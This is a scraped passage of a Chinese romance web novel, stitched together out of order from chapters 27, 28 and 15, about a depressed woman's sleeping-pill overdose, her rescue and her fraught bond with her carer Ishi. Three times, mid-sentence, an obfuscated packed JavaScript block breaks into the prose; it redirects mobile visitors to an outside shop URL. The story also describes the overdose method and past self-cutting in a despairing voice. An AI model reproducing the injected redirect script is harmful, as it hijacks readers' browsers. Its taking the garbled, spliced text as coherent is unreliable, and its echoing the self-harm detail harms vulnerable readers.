“别挂,我还没要你算账,”伊实再次奔跑起来,“我不是告诉过你哪也不许去吗?我不过是出去了一小会儿,你就跑没影了,下次是不是得在你脖子上挂牌,写上你的名字和我的电话号码,全城失物招领?别挂,听着,船靠岸之后在码头等我,记下这个号码,随时打给我……” 我挂了。他看不见。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572876|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我再也不能容忍越来越旺盛的虚假折磨我的五感,越来越膨胀的幻境糟践我的心脏。 到底有什么是真正属于我的,上天觉得我欲拒欢迎实则内心早已为其疯魔的样子是一出好戏吗?就为了看我痛不欲生的表情,肆意侮慢,无恶不作吗?到底有什么是真正属于我的! 没有人教我,所以我自学,同类之间能够心心相印,我以为靠吻,结果被证明是错的,后来以为靠宽容和性.爱,也被证明是错的,我知道了,靠卸下伪装和表露真心,降落什么就接住什么,命运会担保,结果呢?!无辜的病症被拿去玩弄,收到了严重偏题的怜悯,倾家荡产鼓起了勇气然而天平那端是几年前堆积的旧报纸。 够蠢,及时止损的办法只有一个,那就是停止等待,不再巴结第二天早晨的太阳。 首先,我需要闭上眼睛,放空大脑,对极了,神经细胞的不可逆损伤这时派上了用场,除了疼再也思考不了别的东西。 其次,把手伸到大腿之间,分担大脑的疼痛,用的是筋肉错乱的右手,钉死了就不会颤抖了。 然后,入睡,入睡,入睡…… 世纪漫长。 睡啊! 哭什么! 好,哭,我让你哭。来,和特罗姆瑟的第一束光问好,举杯,然后礼貌地说再见,毕竟你时日不多了,但你总算能毫无后顾之忧地睡个好觉。不必嫌食道太窄,水是万物之源,威士忌也是,别那么古板。如今的医药领域虽没让我眼前一亮,但也不会让我的期望落空,很快你就能睡着,恶心反胃这么点副作用难不倒你。 浑身乏力快要失去意识的那一刻,我竟然产生了一丝庆幸,至少还有自己能和我对话。 如果没有旁人插嘴,就更好了。 “啊!这个疯子!这个疯子!!手机,手机…… “伊实!我在特……对!求求你快过来,她吃了一整瓶安眠药!我不知道她什么时候吃的…… “我他妈怎么知道!你他妈昏头了吗养这么个玩意儿!!她还有呼吸!她还活着,你快来!” 聒噪的尖叫声印证了我身上有严重的急性传染病,手脚被捆得严严实实,动弹不得,魂魄早就飞到九霄云外了。 人生大圆满就在于将死的刹那心胸宽阔有容乃大,主人的身份还给外界,死者的身份交给自己。 不要了,不求了。行吗? “No.” 谁在回答? 蟒蛇一口气钻入我的食道,它的体温不陌生,粗暴的掠食勾起了我的记忆,紧接着是腹部猛烈破碎,内应外合使我像烤全羊一样翻滚。 有人狠狠地给了我一拳,五脏六腑挤压成团,我承受不了更多,乌泱泱吐了一地。 “醒醒,穆里斯,穆里斯……” 我掉进了水缸,水缸上面是扁担,扁担下面是肩膀。 “我能救你一次,就能救你第二次,无数次,听得见吗?你听得见,睁开眼睛,穆里斯,睁开眼睛……” 轮子压马路,警报和祷告编舞,自言自语乘坐磁悬浮列车。 “回家吧……醒来之后我们回家……” 27. 第 27 章 医院的枕头只教会了我一句呓语:对不起。 两条腿的膝盖长出四条不对称的肥胖纹,模范刀刃不会只划一下,所以划了四下。在此之前血溅了一身,斑斑点点仿佛一场盛大的坠落。 医生诊断九岁的穆里斯有过敏性紫癜,开出住院证明,喂她吃激素药,这就是前后因果。 穆里斯的亲生父亲,那个企图把硕伟责任感和理想装进花花心肠的男人,陪伴了穆里斯整个住院期间。小病而已,他安慰道。九岁的穆里斯以为那是安慰。小病而已,他对电话里的妻子说道。十九岁的穆里斯听懂那是侥幸。 奇怪的穆里斯开始思考神秘的“应该”,永久地忽略了“不应该”。比如说,罪人无论受到什么惩罚都是应该。 奇怪的穆里斯……又活了。 我身体的某个器官被洗劫一空,导致口干舌燥,浑身充满污染又荒芜。生前从未尝试以毒弑体,不知半死不活竟有这样痛苦。卡在时空隧道里,外面是火葬场的炉子,先截肢再火花,隔着一层薄薄的纱,要命又不致死。 输液袋瘪得彻底,我的眼珠子转了一圈,看见一颗趴在床边的后脑勺,于是动了动手指。 他猛地惊醒,一张苍白的脸冲进我的视野。 “醒了?感觉怎么样?嗯?看得见我吗?”他的眼角残留着困倦的褶皱,目光盘旋于我的脸色。我痛苦地牵扯了一下脸部肌肉,他的问号再次不断地涌现:“哪里不舒服?能讲话吗?要吐吗?” 我抬起食指,指向输液袋。 “Godshit!”他疾走去门口,大喊:“护士!护士!他妈的半夜一个护士都没有吗?!医生!” 护士带着病历夹和教训走过来,警告他再这样大呼小叫的话医院的保安不是吃素的。他置若罔闻,拧起眉头语无伦次地询问我的情况,手部做各种动作,一会儿指自己的脖子,一会儿摸我的肚子。护士劝他冷静,甚至闭上眼睛以防翻上去的白眼损害她的职业素养。 “先生,每年都有想不开去自杀的案例,我们见多不怪,而且很有经验,你更应该担心她会不会来第二次,我们当然不希望有第二次,”她顿了顿,扫了一眼他的身形,说:“尤其是你们。” 本就箭在弦上的男人一下子猩红了眼,按捺不住积蓄已久的愤怒:“是!我没看好她,所以这个没良心的家伙要给我点颜色瞧瞧!倒不如这么说吧,我杀了她,又救活她,你们对此也有经验?见多不怪,好一个见多不怪,一条命比你们院长的内裤还轻贱!想必业务已经很熟练了,在医院门口贴‘欢迎自杀者前来就诊’的海报,做得一手好生意!我说错了吗?!” 护士被他吼得节节败退,脸色铁青,骂了句粗鲁便快步离开了这里。 “粗鲁,把患者当木乃伊治疗的你们才粗鲁吧……”他意犹未尽地冲护士消失的方向小声嘀咕,转过身和我只开了一条缝的双眼对上,又说道:“你,等你能还嘴了我再骂。” 想起来了,他是伊实。 与此同时一起想起来的,还有心脏的钝痛。我打算睡一个回笼觉,有预谋地睡个回笼觉。但当我合上眼皮,听觉又更加清晰。回笼觉差点火候。 “是啊,趁月亮还在,多睡一会儿十分有必要。睡吧穆里斯,晚安。”他吻了吻我的额头,胡茬刮过我的眉骨,然后站直,在我所目睹的黑暗里目睹我的睡眠。 等我第二次醒过来,世界并没有发生我想象中那样翻天覆地的变化,比如小行星撞地球让病床突然变成垃圾场什么的,仅仅只是床边多了一张熟面孔。 布鲁克喜出望外地拍打伊实,高声传讯:“她醒了!” 我已经有了足够的体力支起身子,或者说蠕动更为形象。他们二人一左一右合力托举我坐起来,将米糊的香气递到我面前,要我填点肚子。 我不动摇。伊实只好暂且把米糊放一边,屈身问:“有何吩咐?” 我摊开掌心。被针扎过的小孔抽疼。 布鲁克:“什么?筷子?” 伊实把手机放在我的手心,甚至开好了翻译软件。 四个字敲了我一分钟。 「我要离开。」 布鲁克连连摇头,“你都没办法站起来走路啊孩子。” 翻译器不会有错,至少伊实听出来这句话的言下之意,因而神色沉沉。 “恐怕不能允许。” “放宽心,我联系到了信赖的医院,今晚我们坐船回罗弗敦,那有更好的待遇。”布鲁克残缺了两颗牙,但不影响他顾全大局。 我撇过脸,没有力气闹,但我可以选择不吃饭使得身体变得更没力气。米糊送到嘴边,不忍直视,我是说里头溃烂的爱意。 布鲁克拉开伊实,满嘴狸猫换太子的自信:“这是食物不是刑具!你打算用勺子撬开她的嘴还是什么!她讨厌你,我来。” 他用纸巾轻轻擦掉伊实在我嘴角上斗争留下的污渍,念念有词:“亲爱的,不要违背身体的本能,你需要补充点能量。” 我仍不张嘴,只冷冷地看着他。僵持没一会儿,布鲁克便悻悻放下胳膊,转而对伊实说:“她不喜欢吃这个,我去买点别的。” 伊实放任自己的朋友去做无用功,而他本人揣着明白装糊涂,系上温热的塑料袋,对我说:“不管你信不信,我预判到了迟早有这一天——” 我凝望窗外,一只海鸥飞来飞去。 “但我仍旧没法控制情绪。最早一班的快船买不到票,我擅自闯进去,被人拦下,吃了一嘴泥。” 他起身把窗帘拉上,用同样的伎俩擅自闯进我的视野。 “最后我还是赶上了。”他伸手拨开我的头发,“穆里斯,我赶上了。”然后,他问:“为什么要离开?” 因为——我张了张嘴,发现声带结了一层厚实的冰,需要用力挤压才有突破口。 “因为不想和有恋母情结的怪胎在一起。”我喑哑道。 他坐上病床,五指与我的手指打死结,发出不流畅的笑,“克洛伊有本领让每个人都受其蛊惑一回。” “她说的也没错吧。”我感受到他手心的黏稠,分明没有刀片,掌纹却渗出紧张的液体。 伊实凑过来吻我,我躲开那两瓣嘴唇,相当于亲手杀死一种语言。 他的叹息落在我的侧脸,像一条沮丧的平衡木,提心吊胆,颤抖和压抑。哺乳动物除了呜咽最能体现依恋的便是磨蹭,意味着当他克制又猛烈地嗅闻我的气味时,这里有块心房害怕误入假象而痛苦不已,和名为“妥协”的敌人拼杀个鱼死网破,烫出了一个洞。 他埋在我的肩头,声音沉闷:“你叫什么名字?穆里斯,你没告诉过我,所以我给你取了一个。穆里斯,我习惯这样称呼我见到的每一只陌生小猫。但以后我会叫它们Quoja,和你区分开来,就没有谁能认错了。 “嘿……你的衣服是我给你买的吧,前两天还的新床单是我专门为你订购的,冰箱里的冰淇淋有很多种口味,每周的外出活动我没有落下吧,家庭主妇的routine都是我在执行,你怎么不讲道理? “我妈怎么样我从来没有选择权,我吻你更不是因为你和她得了一样的病,恰恰相反,穆里斯,但凡缠上你的是精神分裂症或者狂犬病之类没和我打过招呼的疾病,我就得从零做起。” 脑子被卖给了杂货店,混乱且无从下手。我推开他,一绺头发被他的耳廓勾走,又轻轻打回我通红的眼眶。 “理由。”我哽住,“你没有理由吻我。” “理由,啊,我是没有。”他触摸我的眼角,恰好一滴泪珠落在他的大拇指,他接住,放进嘴里,说:“可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572877|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要什么理由?鸟会飞鱼会游我的命根子天生对你想入非非,理由怎么的,达尔文死了那么久,我去哪里给你找。” 那双蓝眼睛同时被疲劳和不安挟持已久,此时微微泛着忧郁。他将我抱进怀里,明明我还什么都没说,他却自顾回应着:“嗯,好的,就如你期望的那样……” 我趴在他身上哭,悬梁刺股的抽水泵,越哭越勇。 谁要听你巧言令色了,你知不知道船上有多黑,威士忌有多辣,精神错乱的我一头撞在床板上一边和谁道歉一边说我要杀了你,我爱你啊,将爱偷渡到梦里,你知不知道睡眠将我拒之门外对我来说是一种死刑,我什么都做不好,我是个废人,没有主见还小心眼,鄙俗得只能靠做梦填补人生的价值,我再也不想见到你了,带着你的亲昵和拥护滚远点,我才不是商店里被你相中眼的纪念品,我宁愿不要墓碑,我再也不想见到你了……对不起,我想梦见的也是你。能停留在你接住我的瞬间就好了,往我的杯子里掺热牛奶的瞬间,嘲笑我的脆弱同时蹲下来背我的瞬间,替我出头捏碎梦魇的瞬间……你不要走了,哪儿也别去了,你要听我有多疼,听仔细了,我真的很疼,你打我的那一拳,我会还给你的。 - 快船并没有我想象中那样快,坐在座位上,窗外的码头一点一点地往后移,雪山万变不离其宗地压在笨重的车轱辘上一点一点迁徙。我裹着毛毯,没穿鞋,穿了两层厚厚的袜子,连小腿也包裹住了,脚踩在隔壁乘客的大腿上,背靠着窗户,这个姿势能让我的胃舒服不少。 隔壁乘客没有意见,他从昨晚开始便有睡不完的觉,就算我把脚踩在他脸上,他也只会抓一抓塞兜里然后继续睡。隔壁乘客的隔壁乘客用手机拍下了这一幕,越过他给我看。 “Lookthis.”布鲁克酝酿着坏笑,“他还说没人能把他踩在脚下。” 我瞟了一眼,实在无法面对自己苍白虚弱的脸,就是因为这样丑,孟婆才不肯接纳我。 “嘿,布鲁克?摩根,”我用手背轻搓脸颊,走上了拔苗助长的歪路,“把照片删掉。” “为什么?对了,这趟要三个半小时,你早上吃那么一点,不饿吗?”他问,把手机熄屏,放进羽绒服的内口袋,又从另一边拿出一包软面包,“再吃点?” 我摇头,作为公德地球人我不能再浪费粮食了。布鲁克昨天买了很多吃的送到病房,那会儿我刚擦完鼻涕,嘴巴哭得合不拢,颧骨僵硬,伊实趁此机会灌了很多勺米糊进我肚子里,“不”字压根没地儿钻。后来吃不下太多东西,布鲁克的好意全数留在了病房。 静悠之间我想起来一个人,于是问:“克洛伊哪儿去了?” 布鲁克摸摸鼻尖,说:“还在特罗姆瑟,她的牙医男友不要她了,她没处去。” 我说:“你其实很喜欢她。” 布鲁克抿嘴:“她太可怜了。” “你之前还叫我小心她——”我卡顿,立马话锋一转,“不过现在应该是她小心我了。”说完耸了耸肩。 “不,你不一样,你那是有个性,你……我是说,你,你很好……” 他半天想不出一个丰富的形容词,我补充道:“我也去放把火,说不定在你眼里才能有威慑力。” 布鲁克似乎从我的话里品出不一样的味道,两眼一眯:“你说话的方式和伊实越来越像了。” 就在这时,姓名仿佛触发了某种雷达,熟睡的人握住我的脚踝,抬眼迷迷糊糊地看了我一眼,迷迷糊糊地讲话,又迷迷糊糊闭上眼继续睡。 “……” 布鲁克沉默片刻后懊恼不已,手机就该一直对准伊实来个真人秀。 而我沉默是真愣住了。 他说的是, Great,youarestillhere. 28. 第 28 章 公众场合不适合讨论这个话题,但我脑子一热,脱口就问了。 “伊实谈过多少女人?”我说,“当然也包括一夜情和酒后失态的情况。” 布鲁克:“他本人就在这,数据肯定比我知道的要可靠。” “说个大概就行,我会算比率。” “大概的话……”布鲁克沉思,颇为刻苦,结果却不理想,“大概不了,我太久没见过他从女人床上下来的模样了。” “哦。从他母亲离世之后?” “是的。” “之前呢?想想之前。” “之前他不是和克洛伊在一块儿嘛!”布鲁克本身就是个被时间玩弄的老糊涂,一旦触及回忆,说出来的故事就成了万花筒,“等等,克洛伊有段时间沉迷出轨,他那时候在做什么来着……整垮马森的俱乐部?还是……” 我替他叹口气,无奈道:“你只要想想他谈过多少女人就行了。” 布鲁克看向我,反问:“你想听到什么数字?” 我抿出一个笑:“你要替他打掩护?” “唔,我可不能坏了他的好事。”布鲁克坦白自己的理论:“说少了万一你认为他不够受欢迎,说多了万一你嫌他太风流。” 我点点头,没动很多感情,“那你谈过多少个女人?” 布鲁克没想到苗头对准了自己,虽措不及防但莫名松了一口气,大方分享:“数不胜数,我年轻时候比伊实还帅呢,不夸张的说,我的幽默感比我的样貌更出众,还会五国语言,报社专门派人来采访过我。” “真的?”我凝视着他憔悴的脸蛋。 “拜托,时代变啦,你要是看见我穿黑色马甲背心和紧身裤的样子,你也会赞不绝口。” “我怀疑的是‘数不胜数’那句,”我说,“你难不成是因为不会拒绝别人,所以才招来那么多桃花的吧?” “不不不不……”布鲁克连连否认,半天没下文。 “你就是。”我笃定。 一个两个都死要面子活受罪,自欺欺人到一定程度几乎等于解药。 “别人只是求求你,你就答应了,对吧?比如我现在求求你,等到了罗弗敦,找个时间偷偷把我送回特罗姆瑟,没别的要求,和安置克洛伊一样安置我就行,我只要求求你,你就能答应,对吧?”我绷起脚尖,伸过去戳了戳布鲁克膝盖。 布鲁克摇头,义正言辞地拒绝:“我没你想的那么好说话。” 我不依不挠:“克洛伊又是怎么说服你的?” “她……”布鲁克发现绕不开我设下的怪圈,皱起眉:“你好像很不满我对克洛伊的安排。” 我耸耸肩:“是啊。” 十分不满,可谓咬牙切齿,破坏我梦境的都不是好东西,就算她很美丽,也不能挥一挥衣袖就轻松烧掉我的幻想——好吧,我也在自欺欺人,事实上我很感谢那位美丽的女士,寒冷冬夜为我送上完美的冻疮,不然我那阴魂不散的病症还要长长久久地磨平我的棱角,不如索性一刀切来的痛快。 当然,这不是重点,重点在于,我彻底变成了傻瓜,就在一夜之间,昨天我还在呜哇呜哇地大哭,今天突然就忘记了人格二字该怎么写。微笑是蒙娜丽莎的微笑。凡事都要找个参照物。 布鲁克观察左边的人,向我这边微微倾身,悄声说:“老实跟你讲了吧,我没你想的那么好说话,我之所以会点头是因为克洛伊给了我一条翡翠项链,从哪儿来——”他的眼珠子往伊实的位置瞟了瞟,“他送的。说明什么?她要做个一刀两断。” 我直起腰,装作恍然大悟,而后模仿他的声调:“天呐,说明什么?”话锋一转,“说明你发家致富就缺这一条翡翠项链。” 布鲁克噎住,看的我都有些于心不忍,便将话题的方向拐了个弯。 “铺垫那么多,你以为我在不满的话就大错特错了。我只是好奇,为什么那么多女人里就只有克洛伊找上了门。” 天老爷,说出口的那一瞬间一股悲悯从头淋到脚,原来我这么渴望成为一个“特殊”的存在吗? 意外的是布鲁克在这个问题上表现的显而易见,毫不犹豫地给出了答案:“毕竟大多好聚好散,善始善终。” “你是说,世界上大多是懂得不纠缠,有自知之明的妓.女和嫖客。” 我怀疑道破天机要遭雷劈,懊恼应该说得再委婉些。 布鲁克一阵一阵笑:“不能说你理解错了。” 我想换个姿势,奈何脚腕无论如何也抽不出来,便盘了另一条腿在屁股下面,如果有尾巴的话我也不会沦落至此。 “既然你说克洛伊可怜,跟我说说有多可怜呗。” …… 虽不清楚布鲁克摩根是如何获取如今的财富地位,但我认为如果他绝处逢生当个江湖说书先生的话想必也能大赚一笔。他口中的克洛伊和我在船上遇见的克洛伊判若两人。 这个女人的美貌我已经反复提及许多遍了,用更多的形容堆砌只会是多此一举,更何况没有一种形容能真正描绘出她的美丽。听闻布鲁克的讲述,我进一步了解到她美得相当有理有据。 她的时尚品味来自于三十平米的专属衣帽间,柔顺飘逸的金发来自于繁琐精贵的护理沙龙,哪怕这些都在她十五岁时化为乌有,她依然保持着结果中值得称道的部分。 克洛伊的父亲是个小有名气的经济犯,意思是坐了牢之后人们才发现他的商业版图竟然有那样广阔,才开始有了名气。布鲁克和她的父亲有过一回交易,他说自己离名气只差一厘米,新闻出来的那天他躲在家里洗了三回冷水澡。 克洛伊一点儿没遗传到父辈的低调和谨慎,要房子要首饰要男人张口就来,也没准这才是他们家族真正遗传下来的东西。改变是掩饰和心虚。她搬去密西西比州投靠远方亲戚后布鲁克再也没见过她,只有她来探望监狱里身材逐渐臃肿,头发逐渐发白的父亲时,他才会和这个女孩有短信和电话上的联系,谈话内容仅限于刑期还有多久。 高物欲的童年给克洛伊留下了高傲的性格,变卖房子和首饰的最后,她给自己留了一条质地细腻、做工精美的紫色睡裙,极致的高档货,她穿着它躺遍了密西西比的旅馆,也穿着它回到了加利福尼亚。 “她天生是块容易被盯上的好肉。” 布鲁克这样唏嘘道。她会骗人是因为也被别人骗。真正重逢的那天,他惊觉好几年前那个抱着博美犬的小克洛伊在社会的打磨下不可避免地染上了风俗的气味。 我把半张脸埋进毛毯下,直到鼻子暖和了才探出来。此时的布鲁克全然陷入回忆的浪潮,一说便停不下来了。 “伊实大学毕业第一年,没有稳定的工作,他也不急着找,成天给人改装跑车和摩托赚取生活费,后来和克洛伊交往,才有了第一份拳击教练的工作,再后来也不干了,这人闲不住,麻烦事缠身,只能晚上去酒吧一边看球一边喝酒来给自己找点乐子。顺便一提,我消停的那三年在酒吧当过酒保。”布鲁克咯咯笑。 “少来了资本家,那家酒吧最后还不是被你买下来了。”伊实何时醒来的没人察觉,他活动活动僵硬的肩颈,看了眼时间,说:“还有二十分钟,可以联系Charlie过来了。” Charl ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583042|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ie是布鲁克的司机兼仆人,当然,这年头不好说是仆人,都称之为助理,干的事却大差不差。 布鲁克转过头去打电话,伊实伸出手背贴上我的脸颊,说:“还以为你发烧了呢。” 拔苗助长未尝不可行。 “你听到了多少啊?”我问。 伊实替我揶好毛毯,眼皮不抬一下,“我又没睡死。” “全都听到了?”我用力踩,毛毯里没有眼睛,谁也不知道我踩到了哪里。 伊实用眼神警告我,随后一把扯开刚整理好的毛毯。 “哦,不好意思。” 脚底板直冒火,我趴下身子找鞋。 “你肯定没听全,不然早就该急了。”我说。 睚眦必报的人会有清心寡欲的那一天?别开玩笑了。 伊实把杂乱的毛毯塞进背包,不留活口似的拉上拉链,“当然了,打颗臭弹,看看会不会有额外收获。” 在布鲁克联系好的医院里做完检查,医生说我没有住院的必要,其实我想说,如果只有苟延残喘的病人才有资格躺进病房的话,我理应拿到这本证书,你们只顾表面,看不见我在作死方面有多惊艳。 回到海边的小木屋,进门时地板上带有泥渍的脚印一下子勾起了我的回忆,带进来的雪融化成了水,水蒸发成了野外的空气,遥远的古时候我被勾魂摄魄,自作多情被剁得稀碎也是在这里。 明明剧情就发生在前天,却给我一种既没出息又不美观,相距甚远又阴魂不散的耻辱感。 是的,我只要活着,每分每秒都感到丢脸。 伊实划拉开地上的脚印,抱怨道:“最痛恨入室抢劫的罪犯了。” 地板更脏了,今天的泥覆盖了前天的泥,脏得与时俱进。我曾和伊实争辩过进门脱鞋的礼仪,争得不可开交,虽没有上升到大打出手的地步,但双方各自的语言也算拼了个你死我活,我用中文说,他用俄文说,各说各的,最后吵出国了也无从知晓。 不是我定的规矩,祖宗定的,我只是遵守,所以进门后我脱鞋了,伊实没脱。他永远不会猜到今天他把鞋子踩在那团污泥上面时我的心态发生了怎样的变化,觉得祖宗也就那样,会念几句紧箍咒就把自己当唐僧了而已。 于是我穿着拖鞋也上前划拉了两脚,一点点泥描不出一幅糖画,但足够使我遭一顿骂。 “你他妈的麻醉还没清醒吗?”伊实拎着拖把站在沙发旁边,荒唐地看着我,以及我脚上变色的灰色拖鞋。 “……” 垃圾桶迎来新客人。 医院不提供像样的棺材而在饮食建议方面费了诸多口舌,伊实找来一份海鲜粥配方,我坐在餐桌前给他打下手,剥青菜和清理生虾的肠道系统什么的,而且大有谋权篡位的趋势,因为他除了盯着那份配方看以外,没干出别的像样的事。 “和平时吃的一样就行了。”我劝道。 伊实严谨的目光从手机屏幕瞥到我脸上:“那你至少要变得和平时一样。” 我放下手头的活,走过去用他的短袖衣摆擦手,说:“反正你有的是经验不是吗?还是骗我的?” 如果我的言语不够有攻击性的话,那么生虾的排泄物肯定有了。 伊实果然生气了,低吼一声“shit”跑到水龙头下冲洗,湿了一大块衣角,两手一扬脱掉短袖,扔进水槽里,这场面是厨具商家前所未闻的,不然在改进洗碗机的时候他们会想到加入滚筒功能。 他靠在水槽旁,眼睛里射出强硬的视线,舔了舔后槽牙,赞赏我的胆魄而点头,说:“看来这个脾气你是非发不可了。” 15-20 第15章 第15章你伊实叔叔的老婆 暗淡昏黄的灯光将他的半张脸藏在阴影里,勾勒出挺拔的鼻梁骨,以及下垂的眼眸所致,握着他的无名指和小拇指的我的手。 “怎么,还需要我给你讲睡前故事再给你一个晚安吻你才愿意睡觉吗?”他待在原地不动,只有喉结在明暗交汇处起伏。 可以吗?我在心里问,但我好面子,我永远说不出口。 我从未赞同过出现在我身上的所谓“魅力”,又或是“吸引力”,那些在我这里有个更贴切的名称,叫做“手段”,留下某个人的手段而已。有人喜欢我知书达理,那我可以从头到尾羞涩如处。女,有人喜欢我霸道主动,那我可以释放满心满意的占有欲。 思想抽离的时刻我常常清高自傲地评判“小我”所扮演的角色——我叫她“小我”,一个全身敏感、长满摄像头的演员——有巧思,却不够熟练,一粒小小的穿帮就足以致命,走向杀青的结局。“小我”到底是个可悲又拧巴的人,她想要陪伴,却信不过任何人,她有嘴巴,却开不了任何口。 看看,我什么都知道,我什么都知道,有问题就想办法解决,这么简单的道理我当然知道,办法我有,还能给诸位列一篇细致入微的解决方案出来,哪又怎么样呢?现在握着另一个人的手,除了诱惑我还是干不出别的事儿来。 “留在这。”我机械地重复道,歪斜着身子,衣裳垂落恰好露出半个肩头,深幽的领口散发淡淡的香味。 好恶心啊,你好恶心,在厨房里想着前女友,感到孤独害怕了就不择手段地找个替代品,非但不改正,你还变本加厉,你是这个世界上最应该下地狱的人。 可是,我更怕昏沉睡意下从无边无际的黑夜里冒出来的骷髅惨叫!原谅我,不原谅也可以,糟蹋我,不糟蹋也可以,怎样都好,请陪陪我。 高大的伊实从远远的地方蹲下来,他默不作声,也目不斜视。或许我体内的元气早就耗得一干二净了,周围的景象逐渐虚化,眼里只剩下他庄肃的眉骨。其实不管我我也能睡过去,抽干水分之后躯壳会慢 慢地干瘪,砍树砍一半树会自己向一边倒,没必要做得彻头彻尾。 挺没劲的,我前后不搭地嘿嘿一笑,松开了他的手,温顺地躺下,嘴角还挂着怯虚弧度。 “如果我是你,就不会连最基本的量力而行的道理都不懂。”他说,声音和我的耳朵隔着不远不近的距离。 我双目失明,像打了麻药一样一潭死水,实则是在用逃逸的方式减轻罪恶感。他的气息悄然靠近,在我的额头中央留下由轻到重的一吻,除此之外,再没有触碰我。 他关了灯,回到卧室,发出两声蓄谋已久的咳嗽,人在刻意保持安静的时候体内的空气就会紊乱。而我的眼皮下刮起一阵凄苦的寒雨,在任何一个没有水分的沙漠里都是极为亮丽的风景线。 沙发上出现雨迹,我开始做梦。 仿佛看见小C穿着我爱的草绿色波点吊带裙四仰八叉地躺在床上,那不雅观,但她说如果观的人是我那么无所谓雅不雅。她还说,我们是特殊的情侣,在剧本里有相当丰富的描写。然后她站了起来,迈着小碎步走向我,将脸贴过来,笑眯眯地话又说回来:学姐,没有什么能比我们的开始还要不雅。 我唰白了脸,努力扯起嘴角。现实里的小C不会说那种话,会那样想的人是我。 果然,冒牌小C立马换了一副面孔,用力地扑进我怀里,楚楚可怜地反省中。 “学姐,你是个可怜人,我也是个可怜人,见到你的第一眼我就知道我们是灵魂的伴侣。” “学姐,为什么非要把狂热变成忍耐,为什么被人绑了手脚却不懂得挣扎?我能拯救你,我喜欢你,太喜欢你了。” “学姐,这方面我才是前辈,你得向我虚心请教。” 我驻足在原地,双手有千斤重,竟举不起一分一寸回应她的拥抱。 我的行李被男友从二楼阳台丢进草丛,小C毅然决然地拉住我的手离开,自此开启了特殊剧本的创作。我们不斗嘴,不吵架,我们互相扶持,互相鼓励,理解浪漫和润滑剂。然后有一天,不知道是我哪里出了纰漏,小C发现了包装我的外壳实际上是粗制滥造,十分失望地摇摇头:“学姐,你太执迷不悟了,很无聊。” 是很无聊,地摊上的小八音盒一生只会唱一首歌,是很无聊。 砸烂它,侮辱它,破坏它,它顶多闭嘴,一旦张口必然还是陈词滥调。 书上把“爱”夸的天花乱坠,而我不敢苟同,“同情”一词更接近。 …… 清晨,我在一阵眩晕和通话声中撑起双眼,我按了按太阳穴,努力挤出脑子里的气泡,结果越按越痛,索性翻了个身继续睡。 通话声结束,脚步声在我耳边停下,一双手从后面晃了晃我的肩膀。 “嘿,你醒了,起来吧。”布鲁克的问候十分没有眼力见。 我不做声,蜷缩得更加厉害。 “趁现在还能吃上瓦萨里奇家的早餐,快起来。”布鲁克坚持要唤醒我,“他爱吃米饭,你来这很久没吃到米饭了吧?伊实对那种东西不感兴趣。现在起床,我们开车过去,用不了多久,我已经拜托瓦萨里奇给我们留位置了。中国不是大米之国吗?你不心动吗?快点儿,醒醒。” 我皱起严厉的眉头,什么也阻挡不了我养精蓄锐。 eon,我都已经夸下海口了,我的朋友,让他们见识见识我交了一个多棒的朋友,起来吧,就当是为了我。” 我和布鲁克只有两面之交,这个理由在我这必然要扑个空。这场僵持持续了几分钟,以我忍受不了口腔里又苦涩又反胃的味道而了结。沙发像驶过海浪的船只一样把我甩出去,我迈着错乱的步伐走去洗手间。 “他醒了吗?”我问。 身后的布鲁克说:“不知道,我没算上他的人头。” 我搓了搓眼睛,回头又问:“他不去吗?” “不去,就我们俩,如何?”布鲁克激励着我。 洗了把脸以后我清醒了许多,擦干手开始梳理头发,此前我没怎么在意过我的头发,虽然它依旧要脱落几根表示对地球引力的尊重,依旧发根分叉枯黄,但我不再为此沮丧。 我透过镜子瞟了眼布鲁克,说:“你有信心保证他不会生气吗?” 布鲁克往上甩手,“我才不管他呢!你害怕他吗?” “不。”我嘴上这么说道。 实际上嘛,有一点怕,没办法,就算在他强壮的体格和粗烈的长相下努力屏住呼吸强装镇定,然而在他极具洞悉力和攻击性的言语下没有谁能忍住不破防。 布鲁克的车技同他一样年迈,给轮胎增添了意料之外的颠簸。我倒也纳闷,伊实在这条路上开的时候我还能睡过去呢,没怀疑过是路不好。从车子转入一个我不熟悉的岔口开始,周边的一切对我来说都很模糊。 瓦萨里奇先生的住宅门口堆满了积雪,这不是清雪车的失职,恰恰相反,这体现了他们事业里的人情味。积雪旁边竖着一块立牌,上面写了两行挪威文字,我盯看许久,布鲁克逐字翻译道:“它们有用,请别清扫。” 我问:“有什么用?” 布鲁克:“瓦萨里奇家的小孙女喜欢埋宝藏,他慈祥的爷爷不忍心那双吹弹可破的小手被泥土给毁了。” 我在他脸上看到了羡慕,其他的我无法多嘴,便没追问下去。 